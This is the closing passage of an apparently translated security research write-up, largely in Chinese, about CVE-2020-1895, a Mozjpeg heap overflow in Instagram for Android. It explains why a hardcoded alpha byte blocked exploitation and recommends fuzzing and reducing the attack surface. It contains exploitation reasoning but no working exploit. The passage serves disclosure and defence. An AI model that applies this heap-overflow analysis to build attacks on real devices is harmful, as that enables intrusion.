我们使用了第一个测试中的RGB格式,并且看到Mozjpeg确实正确设置了cinfo-> out_color_space = 0x2(JCS_RGB)。但是,从Instagram的代码中,我们可以看到此值被表示为(JCS_EXT_RGBA)格式的const值0xc覆盖。
这也解释了即使我们使用每个像素3×8位的RGB对象,也得到了奇怪的0xFF alpha channel。
深入研究代码后,我们看到alpha channel(0xFF)的值被硬编码为const值。当Instagram将cinfo-> out_color_space = 0xc设置为指向(JCS_EXT_RGBA)格式时,代码从输入的基本文件中复制3个字节,然后复制的第4个字节始终是硬编码的alpha channel值。
#ifdef RGB_ALPHA
outptr[RGB_ALPHA] = 0xFF;
#endif
现在我们put everything together,得出的结论是,无论将哪种图像格式用作压缩JPEG的基础,Instagram始终会将输出文件转换为RGBA格式文件。
始终在开头添加0xff这一事实意味着我们可以在大端序环境中实现我们的目标。
小尾数系统将单词的最低有效字节存储在最小的存储地址中,所以小端序的时候,Alpha channel值总会写在我们可控地址的MSB(最高有效字节)处。我们尝试在用户模式下利用该漏洞,但(0xFF)值属于内核地址空间,就不行。
We lost our quick win. One lesson we can learn from this is that real life is not a CTF game, and sometimes one crucial const value set by a developer can ruin everything from an exploitation perspective.
让我们回想一下Mozilla基金会主要网站上有关Mozjpeg的内容:
“Mozjpeg的唯一目的是减少网络上提供的JPEG文件的大小。”
从我们看到的情况来看,对于每个我们上传的图像,Instagram的内存使用量将增加25%!每天大约一亿!
引用Halvar Flake在最近一届OffisiveCon的演讲中的一句话:
“The only person in computing that is paid to actually understand the system from top to bottom is the attacker! Everybody else usually gets paid to do their parts.”
此时,Facebook已经修补了该漏洞,因此即使我们还没有完全写出exp,我们也停止了我们的工作。
我们仍然有3个字节的覆盖,从理论上讲,我们可以投入更多的时间来查找更多有用的原语,以帮助我们利用这个漏洞。但是,我们认为我们已经做了足够的工作,并且已经宣传了我们想要传达的重要观点。
在谈论Mozjpeg时,Instagram上的Mozjpeg项目只是冰山一角。基于Mozilla的项目仍在Web上的许多其他项目中得到广泛使用,尤其是Firefox,并且还广泛用作各种流行的开源项目的一部分,例如Sharp和libvips项目(仅在Github平台上,它们拥有超过2万颗星)。
结论与建议
我们的博客文章描述了作为第三方库的图像解析代码如何最终成为Instagram大型系统的最薄弱点。Fuzz会发现一些新漏洞。经过足够的努力,在0-click攻击情形下,这些漏洞之一很可能会被RCE利用。不幸的是,将来也可能会存在或将引入其他错误。因此,绝对必需在操作系统库和第三方库中对此和类似的媒体格式解析代码进行连续的fuzz。我们还建议通过将接收方限制为少量受支持的图像格式来减少攻击面。
各个受赞赏的独立安全研究人员以及国家资助的安全研究人员都对该领域进行了很多研究。媒体格式解析仍然是一个重要的问题。另请参阅其他研究人员和供应商建议:
Facebook的通报将此漏洞描述为“整数溢出导致堆缓冲区溢出–尝试上传特制尺寸的图像时,Android版Instagram可能发生大堆溢出。这会影响128.0.0.26.128之前的版本。”
我们在Check Point以负责任的方式向Facebook披露了该漏洞,Facebook于2020年2月10日发布了补丁。Facebook承认该漏洞并将其分配给CVE-2020-1895。该漏洞已针对32位和64位版本的Instagram应用进行了测试。
参考文献
https://phrack.org/issues/68/10.html
https://googleprojectzero.blogspot.com/2020/04/fuzzing-imageio.html
https://blog.nsogroup.com/a-tale-of-two-mallocs-on-android-libc-allocators-part-3-exploitation/
https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
https://saaramar.github.io/str_repeat_exploit/
https://googleprojectzero.blogspot.com/2015/09/stagefrightened.html
https://github.com/NorthBit/Metaphor
https://bugs.chromium.org/p/project-zero/issues/detail?id=2002
https://libjpeg-turbo.org/About/Mozjpeg
Many thanks to my colleagues Eyal Itkin (@EyalItkin), Oleg Ilushin, Omri Herscovici (@omriher) for their help in this research.
END